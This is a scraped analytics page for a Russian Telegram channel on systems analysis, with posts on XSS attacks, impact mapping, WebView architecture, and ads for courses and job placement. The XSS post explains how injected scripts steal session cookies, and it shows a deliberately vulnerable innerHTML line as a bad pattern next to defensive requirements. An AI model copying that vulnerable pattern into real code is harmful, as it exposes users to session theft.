fa
Feedback
Системный Аналитик

Системный Аналитик

رفتن به کانال در Telegram

Канал для системных аналитиков и не только: подборки полезных материалов на все случаи жизни. Реклама и сотрудничество @radale https://gosuslugi.ru/snet/67b0613c6411ff785396754a

نمایش بیشتر

📈 تحلیل کانال تلگرام Системный Аналитик

کانال Системный Аналитик (@sys_sa) در بخش زبانی روسی بازیگری فعال است. در حال حاضر جامعه شامل 19 076 مشترک است و جایگاه 6 775 را در دسته فناوری و برنامه‌ها و رتبه 34 686 را در منطقه روسيا دارد.

📊 شاخص‌های مخاطب و پویایی

از زمان ایجاد در невідомо، پروژه رشد سریعی داشته و 19 076 مشترک جذب کرده است.

بر اساس آخرین داده‌ها در تاریخ 01 سپتامبر, 2026، کانال فعالیت پایداری دارد. در ۳۰ روز گذشته تغییر اعضا برابر 13 و در ۲۴ ساعت گذشته برابر -1 بوده و همچنان دسترسی گسترده‌ای حفظ شده است.

  • وضعیت تأیید: تأیید نشده
  • نرخ تعامل (ER): میانگین تعامل مخاطب 18.08% است و در ۲۴ ساعت نخست پس از انتشار، محتوا معمولاً 10.59% واکنش نسبت به کل مشترکان کسب می‌کند.
  • دسترسی پست‌ها: هر پست به طور میانگین 3 448 بازدید دریافت می‌کند. در اولین روز معمولاً 2 020 بازدید جمع‌آوری می‌شود.
  • واکنش‌ها و تعامل: مخاطبان به‌طور فعال حمایت می‌کنند؛ میانگین واکنش به هر پست 29 است.
  • علایق موضوعی: محتوا بر موضوعات کلیدی مانند api, архитектура, собеседование, транзакция, документация تمرکز دارد.

📝 توضیح و سیاست محتوایی

نویسنده این فضا را محل بیان دیدگاه‌های شخصی توصیف می‌کند:
Канал для системных аналитиков и не только: подборки полезных материалов на все случаи жизни. Реклама и сотрудничество @radale https://gosuslugi.ru/snet/67b0613c6411ff785396754a

به لطف به‌روزرسانی‌های پرتکرار (آخرین داده در تاریخ 02 سپتامبر, 2026)، کانال همواره به‌روز و دارای دسترسی بالاست. تحلیل‌ها نشان می‌دهد مخاطبان به‌طور فعال با محتوا تعامل دارند و آن را به نقطه اثرگذاری مهم در دسته فناوری و برنامه‌ها تبدیل کرده‌اند.

19 076
مشترکین
-124 ساعت
-87 روز
+1330 روز
آرشیو پست ها
\n\n3⃣ Приложение сохраняет или сразу выводит эту строку без обработки\n\n5⃣ Пользователь открывает страницу ➡️ его браузер видит эту строку как настоящий HTML код ➡️выполняет её\n\n5⃣ Злоумышленник получает нужные данные (например, куки сессии) и может войти под учётной записью жертвы\n\n❗️Ключевое условие: приложение показывает пользовательские данные как будто это безопасный код страницы, а не обычный текст\n\n\nТипы XSS\n\n⭕️Хранимая (Stored XSS) — самая опасная\n\nСкрипт сохраняется на сервере (в базе, в файле) и отображается всем, кто заходит на страницу\n\n➡️ Пример\nФорма отзывов. Хакер пишет отзыв: \n\n> Классный товар! \n\nЕсли не обработан текст, каждый посетитель страницы отзывов отправит свои куки на сервер злоумышленника.ю\n\n✅ Защита\n✨в требованиях к полю, которое будет отображаться у других пользователей,  прописывать ограничения\n✨если HTML нужен — описывать белый список тегов (только , , с проверенными ссылками)\n\n\n⭕️Отражённая (Reflected XSS)\n\nСкрипт не сохраняется, а «отражается» в ответе сервера. Жертву нужно заставить перейти по специальной ссылке.\n\n➡️ Пример\nСайт показывает  поисковый запрос: «Вы искали: запрос».  \nХакер отправляет жертве ссылку:  \n\nhttps://site.com/search?q=  \n\nЖертва кликает ➡️ скрипт выполняется\n\n✅ Защита\nВ требованиях запрещать отображать непроверенные параметры URL или заголовков прямо в HTML.\nДаже для сообщений об ошибке\n\n\n⭕️DOM‑based XSS (без участия сервера)\n\nСкрипт появляется из‑за уязвимого JavaScript-кода на самой странице, который берёт данные из адресной строки (хеша, параметров) и вставляет в HTML\n\n➡️ Пример (уязвимый код на странице):\n\ndocument.getElementById('message').innerHTML = location.hash.substring(1)\n\nХакерская ссылка:  \nhttps://site.com/\n\nБраузер не отправляет хеш на сервер, но на странице выполняется вредоносный код\n\n✅ Защита\nВ клиентских скриптах не использовать innerHTML с пользовательскими данными, \n\nПрименять безопасные методы (textContent, setAttribute)\n\n\n⭕️Слепая XSS (Blind XSS)\n\nСкрипт хранится на сервере, но срабатывает там, где хакер не видит результат — в админ‑панели, в интерфейсе оператора\n\n➡️ Пример\nФорма обратной связи. Поле «Имя»:\n  \n\nСам клиент видит своё имя без проблем (экранирование на публичной части есть)\nНо оператор в админ‑панели смотрит все заявки — и там экранирования нет.\nСкрипт ворует сессию оператора\n\n✅ Защита\nТребования к экранированию должны быть одинаковыми для всех интерфейсов, включая внутренние.\n\n\n📎 Материалы\n\n1. Что такое XSS-атака и как с ней бороться\n2. XSS: нападение и защита\n3. Что такое XSS-уязвимости и как защититься  с помощью Content Security Policy\n4. Примеры атак XSS и способов их ослабления\n5. XSS-атака без секретов: от простого alert до захвата сессии\n\n📚 Книги\nГрокаем безопасность веб-приложения - Макдональд Малькольм\n\n#безопасность\n\n➿➿➿➿➿➿➿➿\n🧑‍🎓 Больше полезного в базе знаний по системному анализу","datePublished":"2026-05-16T07:10:45Z","dateModified":"2026-05-16T07:10:45Z","author":{"@type":"Organization","name":"Системный Аналитик","url":"https://telemetr.io/fa/channels/1433682288-sys_sa","image":"https://img.tlmtr.io/c/1z1AfS/5400054135379841722?ty=x"},"publisher":{"@type":"Organization","name":"Системный Аналитик","url":"https://telemetr.io/fa/channels/1433682288-sys_sa","image":"https://img.tlmtr.io/c/1z1AfS/5400054135379841722?ty=x"},"commentCount":1,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":7737},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":19},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":69},{"@type":"InteractionCounter","interactionType":"https://schema.org/CommentAction","userInteractionCount":1}]}},{"@type":"ListItem","position":11,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/fa/channels/1433682288-sys_sa/posts/733","url":"https://telemetr.io/fa/channels/1433682288-sys_sa/posts/733","mainEntityOfPage":"https://telemetr.io/fa/channels/1433682288-sys_sa/posts/733","headline":"На 50 откликов — 2-3 приглашения. На 2-3 собеседования — 0 офферов. И непонятно, что я сделал не так... Или в…","articleBody":"На 50 откликов — 2-3 приглашения.\nНа 2-3 собеседования — 0 офферов. И непонятно, что я сделал не так...\nИли в ответ: \"Сделали выбор в пользу другого кандидата\".\n\nИ непонятно: то ли рынок мёртв, то ли ты что-то не так делаешь.\nСкорее всего, и то, и другое. Но второе мы точно можем исправить🤓\n\nЧто делаем мы:\n🔹 Нет опыта ➡️ обучаем с нуля, ведём за руку до оффера\n🔹 Не зовут на собесы ➡️ переупаковываем резюме. Даже если опыт не в IT\n🔹 Зовут, но заваливаешь ➡️ проводим полноценные тестовые собеседования, разбираем твои собесы\n🔹 Сопровождаем прямо в процессе найма — пока ты ходишь на собесы, мы с тобой на связи, правим стратегию на ходу\n\nСамо собой даем:\n📦 Слитые актуальные собеседования из реальных компаний\n📦 Материалы для подготовки, шпаргалки — то, что реально спрашивают на собесах прямо сейчас\n📦 Базу вопросов по тестам, кейсам, теориям — никакой воды\n\nГлавное — оплата только после трудойстройства💰\n\nТы не платишь ни копейки, пока не получишь оффер.\nНикаких предоплат. Никаких «купи курс, а там уж сам».\n\nИтог:\nМы уже устроили 50+ аналитиков. С нуля, с опытом, с опустившимися руками. На рынке, который уже похоронили.\n\nНадоел поиск и хочешь работать? Оставляй заявку на сайте!","datePublished":"2026-05-15T07:45:02Z","dateModified":"2026-05-18T08:43:18Z","author":{"@type":"Organization","name":"Системный Аналитик","url":"https://telemetr.io/fa/channels/1433682288-sys_sa","image":"https://img.tlmtr.io/c/1z1AfS/5400054135379841722?ty=x"},"publisher":{"@type":"Organization","name":"Системный Аналитик","url":"https://telemetr.io/fa/channels/1433682288-sys_sa","image":"https://img.tlmtr.io/c/1z1AfS/5400054135379841722?ty=x"},"image":["https://n1.tlmtr.cc/p/_2BRAlVj6CxlGXB1WPbnP2mj137FNi5VsfOPGoHhxej8?ty=l"],"commentCount":15,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":2745},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":27},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":13},{"@type":"InteractionCounter","interactionType":"https://schema.org/CommentAction","userInteractionCount":15}]}},{"@type":"ListItem","position":12,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/fa/channels/1433682288-sys_sa/posts/732","url":"https://telemetr.io/fa/channels/1433682288-sys_sa/posts/732","mainEntityOfPage":"https://telemetr.io/fa/channels/1433682288-sys_sa/posts/732","headline":"Нужны актуальные вопросы с собеседований ? SA | Собеседования - твой незаменимый помощник в подготовке к собе…","articleBody":"Нужны актуальные вопросы с собеседований ? \n\nSA | Собеседования - твой незаменимый помощник в подготовке к собеседованиям.\n\n🔊Обзоры собеседований c вилками на позиции:\n\n🔵Системных аналитиков (Junior, Middle, Senior, Lead).\n🔵Solution Архитекторов. \n🔵С комментариями автора - как человека, который активно собеседует кандидатов. \n\n🔊А ещё на Boosty ты найдёшь:\n\n🔵Записи собеседований: В хорошем качестве - с тайм-кодами и названиями компаний.\n🔵Статистику вопросов в разрезе каждой конкретной компании. \n🔵При наличии подписки - обратную связь по твоим собеседованиям и рекомендации по их прохождению от человека, который провёл более 100 интервью в 2023–2025 годах.\n\n➡️ Подписаться","datePublished":"2026-05-13T07:02:35Z","dateModified":"2026-05-15T07:49:11Z","author":{"@type":"Organization","name":"Системный Аналитик","url":"https://telemetr.io/fa/channels/1433682288-sys_sa","image":"https://img.tlmtr.io/c/1z1AfS/5400054135379841722?ty=x"},"publisher":{"@type":"Organization","name":"Системный Аналитик","url":"https://telemetr.io/fa/channels/1433682288-sys_sa","image":"https://img.tlmtr.io/c/1z1AfS/5400054135379841722?ty=x"},"image":["https://n1.tlmtr.cc/p/5190890164371263163?ty=l"],"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":2192},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":5},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":14}]}},{"@type":"ListItem","position":13,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/fa/channels/1433682288-sys_sa/posts/731","url":"https://telemetr.io/fa/channels/1433682288-sys_sa/posts/731","mainEntityOfPage":"https://telemetr.io/fa/channels/1433682288-sys_sa/posts/731","headline":"🔥Получите навыки системного аналитика с нуля и примените их на практике с актуальными инструментами на реальн…","articleBody":"🔥Получите навыки системного аналитика с нуля и примените их на практике с актуальными инструментами на реальных проектах. \nНачните обучение на курсе «Системный аналитик».\n\n🎁Записывайтесь на 3 бесплатных вебинара — познакомьтесь с программой обучения и преподавателями. Задайте свои вопросы экспертам!\n\n🟣Вебинар 1: «Как не допустить ошибок при написании пользовательских историй (User Story)?»\n⏰5 мая в 20:00 мск\n\nПрограмма вебинара:\n1. Вспомним, что такое пользовательская история и особенности ее написания\n2. Определим типичные ошибки при составлении пользовательских историй\n3. Рассмотрим пример плохо написанной пользовательской истории и ее критериев приемки\n4. Проработаем варианты исправления плохо написанной пользовательской истории\n5. Порефлексируем и обсудим результаты\n\n🟣Вебинар 2: «Обзор нотации BPMN 2.0»\n⏰13 мая в 18:00 мск\n\nПрограмма вебинара:\n1. Базовые понятия нотации BPMN 2.0\n2. Базовые элементы нотации BPMN 2.0\n3. Плюсы и минусы нотации BPMN 2.0\n4. Основные антипаттерны моделирования в нотации BPMN 2.0\n\n🟣Вебинар 3: «Диаграмма Последовательности (Sequence Diagram) - швейцарский нож системного аналитика»\n⏰19 мая в 20:00 мск\n\nПрограмма вебинара:\n1. Смысл диаграмм и визуализаций в работе аналитика\n2. Нотация Диаграммы Последовательности с нуля за 30 минут\n3. Что еще освоить, чтобы приносить пользу команде\n\nЗаписывайтесь ➡️ OTUS.RU \n\nРеклама. ООО «Отус онлайн-образование», ОГРН 1177746618576","datePublished":"2026-05-04T09:27:33Z","dateModified":"2026-05-06T14:26:16Z","author":{"@type":"Organization","name":"Системный Аналитик","url":"https://telemetr.io/fa/channels/1433682288-sys_sa","image":"https://img.tlmtr.io/c/1z1AfS/5400054135379841722?ty=x"},"publisher":{"@type":"Organization","name":"Системный Аналитик","url":"https://telemetr.io/fa/channels/1433682288-sys_sa","image":"https://img.tlmtr.io/c/1z1AfS/5400054135379841722?ty=x"},"image":["https://n1.tlmtr.cc/v/_pYpThR791Y9fry6-JYX55-n3TAcHAOQl8IsvNz6pmhQ?ty=x"],"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":1839},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":6},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":15}]}},{"@type":"ListItem","position":14,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/fa/channels/1433682288-sys_sa/posts/730","url":"https://telemetr.io/fa/channels/1433682288-sys_sa/posts/730","mainEntityOfPage":"https://telemetr.io/fa/channels/1433682288-sys_sa/posts/730","headline":"📊 Научитесь проектировать API и архитектуру ПО как профи, освойте SQL и NoSQL на продвинутом уровне, узнайте…","articleBody":"📊 Научитесь проектировать API и архитектуру ПО как профи, освойте SQL и NoSQL на продвинутом уровне, узнайте принципы построения сложных систем и как выбирать верные архитектурные решения.\nПолучите актуальные навыки и инструменты. Станьте экспертом в системном анализе на курсе «Системный аналитик. Экспертный уровень»\n\nСтарт группы: 29 апреля\nОбучение: 6 месяцев\nФормат: онлайн\nАктуальная программа обучения уже доступна для вас на сайте бесплатно.\nПоддержка менторов и преподавателей на каждом этапе обучения. Задайте вопрос прямо на сайте и вам ответят!\n\n🎁Записывайтесь на бесплатный вебинар\n 23 апреля в 18:00 мск\nТема: «Cоздаём ИИ-ассистента для системного аналитика за 1 час»\nПознакомьтесь с руководителем курса и задайте свои вопросы!\nРегистрация на сайте.\n\nОставьте заявку на курс ➡️ OTUS.RU \n\nРеклама. ООО «Отус онлайн-образование», ОГРН 1177746618576","datePublished":"2026-04-23T08:10:38Z","dateModified":"2026-04-27T08:48:58Z","author":{"@type":"Organization","name":"Системный Аналитик","url":"https://telemetr.io/fa/channels/1433682288-sys_sa","image":"https://img.tlmtr.io/c/1z1AfS/5400054135379841722?ty=x"},"publisher":{"@type":"Organization","name":"Системный Аналитик","url":"https://telemetr.io/fa/channels/1433682288-sys_sa","image":"https://img.tlmtr.io/c/1z1AfS/5400054135379841722?ty=x"},"image":["https://n2.tlmtr.cc/v/_k1GykYcWnN-9VRhi7YMPup3614xIW-A6rAZGwpBxreE?ty=x"],"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":2234},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":1},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":7}]}},{"@type":"ListItem","position":15,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/fa/channels/1433682288-sys_sa/posts/729","url":"https://telemetr.io/fa/channels/1433682288-sys_sa/posts/729","mainEntityOfPage":"https://telemetr.io/fa/channels/1433682288-sys_sa/posts/729","headline":"⌛ Impact mapping Impact mapping — техника планирования, которая помогает связать требования с бизнес-результа…","articleBody":"⌛ Impact mapping\n\nImpact mapping — техника планирования, которая помогает связать требования с бизнес-результатом\n\nРезультат — визуальная карта, отвечает на вопросы по порядку:\n\n1. Зачем это делаем? (Цель)\n2. Кто может помочь или помешать? (Актор)\n3. Как должно измениться их поведение? (Влияние)\n4. Что можем создать, чтобы вызвать это изменение? (Результат)\n\n💡 Не строятся функции. Меняется поведение акторов для достижения цели\n\n\nКакую проблему решает \n\nЧасто требования формируются как список функций\nЭто приводит к проблемам:\n⚪️нет связи между функциями и бизнес-целями\n⚪️бэклог переполнен\n⚪️приоритеты определяются субъективно\n⚪️команда становится “feature factory”\n\nТрадиционные артефакты (user stories, use cases):\n➖описывают что сделать\n➖но не требуют объяснения зачем\n\nImpact Mapping вводит причинно-следственную модель:\nцель ➡️ акторы ➡️ изменения поведения ➡️ решения\n\nИ обратную проверку:\nрешение ➡️ влияние ➡️ актор ➡️ цель\n\nЕсли цепочка не работает в обе стороны — элемент не нужен\n\n\nОсновные элементы\n\nВсегда 4 уровня. Без исключений.\n\n🟧 Цель\n\nНе “что улучшить”, а “какой результат получить”\n\nПример\n\n🟧 Улучшить UX \n🟧 Увеличить конверсию с 2% до 3% за 3 месяца\n\n🟧 без метрики невозможно понять, работает ли решение\n\n🟧 Акторы\n\nЭто люди или группы, которые могут повлиять на цель\nМогут помогать или мешать\nНЕ системные компоненты. Это не БД и не API. Это роли с поведением.\n\nПримеры акторов\n🟧гостевой пользователь (без аккаунта)\n🟧авторизованный премиум-подписчик\n🟧агент поддержки\n\n🟧 Система оплаты\n🟧 Пользователь, Оператор поддержки\n\n🟧 Влияния\n\nЭто изменение поведения актора\nНЕ функция и НЕ действие системы\n\nПример\n\nФункция: “Показывать всплывающее окно со скидкой”. \nВлияние: “Гостевой пользователь завершает оформление заказа вместо ухода”.\n\nВлияние должно быть наблюдаемым\nЕсли невозможно измерить, изменилось ли поведение, это не влияние\n\n🟧 Результаты\n\nТо, что создаёт команда: функции, истории, задачи, API, UI-компоненты, отчёты Результат попадает на карту, только если напрямую поддерживает влияние\n🟧 несколько результатов могут поддерживать одно влияние\n🟧 а один результат - несколько влияний\n\nЕсли сделать X → поведение изменится\n\n🟧искать минимальное решение для проверки гипотезы\n\nПример\n\nЦель: Увеличить долю повторных покупок с 30% до 45% к 31 дек\n│\n├── Актор: Авторизованный клиент\n│ ├── Влияние: Возвращается на сайт в течение 7 дней без напоминания\n│ │ ├── Результат: Персонализированная главная с недавно просмотренными товарами\n│ │ └── Результат: Сохранение корзины между сессиями с визуальным индикатором\n│ └── Влияние: Добавляет товары в корзину быстрее, чем в прошлый раз\n│ └── Результат: Повторный заказ в один клик из истории заказов\n│\n├── Актор: Покупатель впервые\n│ └── Влияние: Создаёт аккаунт после покупки (а не до)\n│ └── Результат: Предложение создать аккаунт после оформления заказа (без принудительного входа)\n│\n└── Актор: Агент поддержки\n └── Влияние: Решает проблемы с аккаунтом без эскалации в инженерию\n └── Результат: Самостоятельный сброс пароля с SMS-подтверждением\n\nКогда использовать\n\n🤩исследование нового продукта\n🤩разработка функции для нескольких спринтов. Impact mapping гарантирует, что каждая часть связана с изменением поведения\n🤩кросс-функциональная работа с участием продакта, инженерии, маркетинга, продаж. Карта создаёт общий язык\n🤩планирование\nПрежде чем заполнять бэклог, создать impact-карты для каждой цели\nЗатем извлечь функции из карт\n🤩много функций, но нет бизнес-результатов\n\nНе стоит использовать\n\n➖исправление багов\n➖задачи только ради соответствия требованиям (compliance), изменения поведения нет\n➖уже есть подобные инструменты\n➖инфраструктурная работа (обновление БД, миграция серверов)\n\n\n📎 Материалы\n1. Impact Mapping на практике\n2. Как создать работающий Impact Map\n3. Impact Mapping на практике \n4. Сайт книги от создателя подхода \"Impact mapping: Как повысить эффективность программных продуктов и проектов по их разработке | Аджич Гойко\"\n\n\n#требования\n\n➿➿➿➿➿➿➿➿\n🧑‍🎓 Больше полезного в базе знаний по системному анализу","datePublished":"2026-04-20T07:06:03Z","dateModified":"2026-04-20T07:06:03Z","author":{"@type":"Organization","name":"Системный Аналитик","url":"https://telemetr.io/fa/channels/1433682288-sys_sa","image":"https://img.tlmtr.io/c/1z1AfS/5400054135379841722?ty=x"},"publisher":{"@type":"Organization","name":"Системный Аналитик","url":"https://telemetr.io/fa/channels/1433682288-sys_sa","image":"https://img.tlmtr.io/c/1z1AfS/5400054135379841722?ty=x"},"commentCount":4,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":7356},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":18},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":98},{"@type":"InteractionCounter","interactionType":"https://schema.org/CommentAction","userInteractionCount":4}]}},{"@type":"ListItem","position":16,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/fa/channels/1433682288-sys_sa/posts/728","url":"https://telemetr.io/fa/channels/1433682288-sys_sa/posts/728","mainEntityOfPage":"https://telemetr.io/fa/channels/1433682288-sys_sa/posts/728","headline":"⌛ Impact mapping Impact mapping — техника планирования, которая помогает связать требования с бизнес-результа…","articleBody":"⌛ Impact mapping\n\nImpact mapping — техника планирования, которая помогает связать требования с бизнес-результатом\n\nРезультат — визуальная карта, отвечает на вопросы по порядку:\n\n1. Зачем это делаем? (Цель)\n2. Кто может помочь или помешать? (Актор)\n3. Как должно измениться их поведение? (Влияние)\n4. Что можем создать, чтобы вызвать это изменение? (Результат)\n\n💡 Не строятся функции. Меняется поведение акторов для достижения цели\n\n\nКакую проблему решает \n\nЧасто требования формируются как список функций\nЭто приводит к проблемам:\n⚪️нет связи между функциями и бизнес-целями\n⚪️бэклог переполнен\n⚪️приоритеты определяются субъективно\n⚪️команда становится “feature factory”\n\nТрадиционные артефакты (user stories, use cases):\n➖описывают что сделать\n➖но не требуют объяснения зачем\n\nImpact Mapping вводит причинно-следственную модель:\nцель ➡️ акторы ➡️ изменения поведения ➡️ решения\n\nИ обратную проверку:\nрешение ➡️ влияние ➡️ актор ➡️ цель\n\nЕсли цепочка не работает в обе стороны — элемент не нужен\n\n\nОсновные элементы\n\nВсегда 4 уровня. Без исключений.\n\n🟧 Цель\n\nНе “что улучшить”, а “какой результат получить”\n\nПример\n\n🟧 Улучшить UX \n🟧 Увеличить конверсию с 2% до 3% за 3 месяца\n\n🟧 без метрики невозможно понять, работает ли решение\n\n🟧 Акторы\n\nЭто люди или группы, которые могут повлиять на цель\nМогут помогать или мешать\nНЕ системные компоненты. Это не БД и не API. Это роли с поведением.\n\nПримеры акторов\n🟧гостевой пользователь (без аккаунта)\n🟧авторизованный премиум-подписчик\n🟧агент поддержки\n\n🟧 Система оплаты\n🟧 Пользователь, Оператор поддержки\n\n🟧 Влияния\n\nЭто изменение поведения актора\nНЕ функция и НЕ действие системы\n\nПример\n\nФункция: “Показывать всплывающее окно со скидкой”. \nВлияние: “Гостевой пользователь завершает оформление заказа вместо ухода”.\n\nВлияние должно быть наблюдаемым\nЕсли невозможно измерить, изменилось ли поведение, это не влияние\n\n🟧 Результаты\n\nТо, что создаёт команда: функции, истории, задачи, API, UI-компоненты, отчёты Результат попадает на карту, только если напрямую поддерживает влияние\n🟧 несколько результатов могут поддерживать одно влияние\n🟧 а один результат - несколько влияний\n\nЕсли сделать X → поведение изменится\n\n🟧искать минимальное решение для проверки гипотезы\n\nПример\n\nЦель: Увеличить долю повторных покупок с 30% до 45% к 31 дек\n│\n├── Актор: Авторизованный клиент\n│ ├── Влияние: Возвращается на сайт в течение 7 дней без напоминания\n│ │ ├── Результат: Персонализированная главная с недавно просмотренными товарами\n│ │ └── Результат: Сохранение корзины между сессиями с визуальным индикатором\n│ └── Влияние: Добавляет товары в корзину быстрее, чем в прошлый раз\n│ └── Результат: Повторный заказ в один клик из истории заказов\n│\n├── Актор: Покупатель впервые\n│ └── Влияние: Создаёт аккаунт после покупки (а не до)\n│ └── Результат: Предложение создать аккаунт после оформления заказа (без принудительного входа)\n│\n└── Актор: Агент поддержки\n └── Влияние: Решает проблемы с аккаунтом без эскалации в инженерию\n └── Результат: Самостоятельный сброс пароля с SMS-подтверждением\n\nКогда использовать\n\n🤩исследование нового продукта\n🤩разработка функции для нескольких спринтов. Impact mapping гарантирует, что каждая часть связана с изменением поведения\n🤩кросс-функциональная работа с участием продакта, инженерии, маркетинга, продаж. Карта создаёт общий язык\n🤩планирование\nПрежде чем заполнять бэклог, создать impact-карты для каждой цели\nЗатем извлечь функции из карт\n🤩много функций, но нет бизнес-результатов\n\nНе стоит использовать\n\n➖исправление багов\n➖задачи только ради соответствия требованиям (compliance), изменения поведения нет\n➖уже есть подобные инструменты\n➖инфраструктурная работа (обновление БД, миграция серверов)\n\n\n📎 Материалы\n1. Impact Mapping на практике\n2. Как создать работающий Impact Map\n3. Impact Mapping на практике \n4. Сайт книги от создателя подхода \"Impact mapping: Как повысить эффективность программных продуктов и проектов по их разработке | Аджич Гойко\"\n\n\n#требования\n\n➿➿➿➿➿➿➿➿\n🧑‍🎓 Больше полезного в базе знаний по системному анализу","datePublished":"2026-04-20T07:06:03Z","dateModified":"2026-04-20T07:35:24Z","author":{"@type":"Organization","name":"Системный Аналитик","url":"https://telemetr.io/fa/channels/1433682288-sys_sa","image":"https://img.tlmtr.io/c/1z1AfS/5400054135379841722?ty=x"},"publisher":{"@type":"Organization","name":"Системный Аналитик","url":"https://telemetr.io/fa/channels/1433682288-sys_sa","image":"https://img.tlmtr.io/c/1z1AfS/5400054135379841722?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":369},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":2},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":9}]}},{"@type":"ListItem","position":17,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/fa/channels/1433682288-sys_sa/posts/727","url":"https://telemetr.io/fa/channels/1433682288-sys_sa/posts/727","mainEntityOfPage":"https://telemetr.io/fa/channels/1433682288-sys_sa/posts/727","headline":"🌐 Web as Native WebView и Web as Native WebView — встроенный в мобильное приложение компонент, который отобра…","articleBody":"🌐 Web as Native\n\nWebView и Web as Native\n\nWebView —  встроенный в мобильное приложение компонент, который отображает веб-страницы (HTML, CSS, JavaScript) внутри приложения\n\nВажно:\n🔹 это не отдельное приложение (не Chrome/Safari)\n🔹он управляется нативным кодом\n🔹 пользователь не видит, что это веб\n\n\nWeb as Native —  подход, при котором веб-интерфейс используется как мобильное приложение\n\nWeb —  интерфейс и часть логики\n🔸рисует UI\n🔸обрабатывает пользовательские сценарии\n\nNative —  оболочка (контейнер)\n🔸открывает экраны\n🔸управляет WebView\n🔸даёт доступ к функциям устройства\n\nWebView —  инструмент\nWeb as Native —  архитектурный подход\nБольшинство «Web as native»-реализаций используют WebView как основной инструмент\nКак работает WebView\n\n1. приложение создаёт WebView\n2. передаёт URL\n3. WebView загружает страницу\n4. отрисовывает интерфейс\n5. пользователь взаимодействует с ним\n\nЕсли нужен доступ к устройству — используется bridge (API между Web и Native внутри приложения)\n\n\nПример архитектуры\n\nПользователь\n     ↓\nМобильное приложение\n     ↓\n  WebView\n     ↓\nWeb Frontend\n     ↓\nBackend API\n\nWebView — только “контейнер”,  вся логика чаще всего в вебе\n\n\nСпособы открытия WebView\n\n\n➡️ Прямое открытие экрана\n\nСамый простой вариант: пользователь нажал → открылся экран с WebView\n\nМинус: видна загрузка (белый экран), что создаёт ощущение “медленного” приложения\n\n➡️ Предзагрузка \n\nПриложение:\n🔹создаёт WebView заранее\n🔹загружает страницу в фоне\n\n→ пользователь открывает — страница уже готова\n→ улучшает perceived performance (ощущаемую скорость)\n\n\n➡️ Skeleton / Loader\n\nПока WebView загружается показывается нативный placeholder или skeleton UI\n\n→ создаёт ощущение скорости, даже если фактическая загрузка не изменилась\n\n➡️ Кэширование\n\n🔹WebView использует кэш\n🔹можно хранить статические ресурсы\n\n→ ускоряет повторное открытие и снижает нагрузку на сеть\n\n\n➡️ Гибридный экран (частично native)\n\n🔹шапка и кнопки — нативные\n🔹контент — WebView\n\n→ снижает ощущение “веба” и улучшает UX за счёт нативных элементов\n\n\nГде используется WebView\n\n🔸статьи и контент\n🔸 личные кабинеты\n🔸формы и платежи\n🔸 fallback-экраны\n\n\nПример: маркетплейс\n\nПочему WebView\n➖ UI часто меняется → веб позволяет обновлять без релиза приложения\n➖ маркетинг управляет страницами → не требует участия мобильной команды\n➖ важно быстро выкатывать изменения → веб быстрее в доставке\n\nWeb:\n🔹 каталог\n🔹 карточка товара\n→ высокая изменяемость, много UI-логики\n\nNative:\n🔹оплата\n🔹push\n🔹доступ к устройству\n→ критичные функции, требующие безопасности и интеграций\n\nСценарий: покупка\n\n1. User → Web: нажимает \"Купить\"\n2. Web → Native: startPayment\n3. Native → Backend: выполняет запрос\n4. Native → Web: возвращает результат\n\n\nБезопасность\n\nРиски:\n🔸XSS уязвимость  \n  → вредоносный JS может вызвать нативные методы через bridge\n🔸загрузка чужих URL  \n  → можно отобразить фишинговую или вредоносную страницу\n🔸доступ к cookies  \n  → возможна утечка пользовательских данных\n\n❗️Главная зона риска — взаимодействие между Web и Native,\nздесь веб получает доступ к возможностям устройства\n\n\nПлюсы и минусы\n\n➕ быстро → можно использовать уже готовый веб и не писать UI с нуля\n➕ дёшево → меньше затрат на разработку и поддержку двух платформ\n➕ единый код → изменения делаются в одном месте и сразу доступны всем\n\n➖ медленнее → из-за дополнительного слоя (браузерный движок + рендеринг)  \n➖ хуже UX → веб-интерфейс уступает нативному по отзывчивости и плавности  \n➖ зависимость от сети → без интернета приложение может частично или полностью не работать\n\n\n📎 Материалы\n1. Из браузера — в приложение: внутренняя кухня WebView\n2. От Web к Native с React \n3. ОМП рассказала о новых возможностях WebView в ОС «Аврора»\n4. WebView: забыть нельзя интегрировать\n\n#веб\n\n➿➿➿➿➿➿➿➿\n🧑‍🎓 Больше полезного в базе знаний по системному 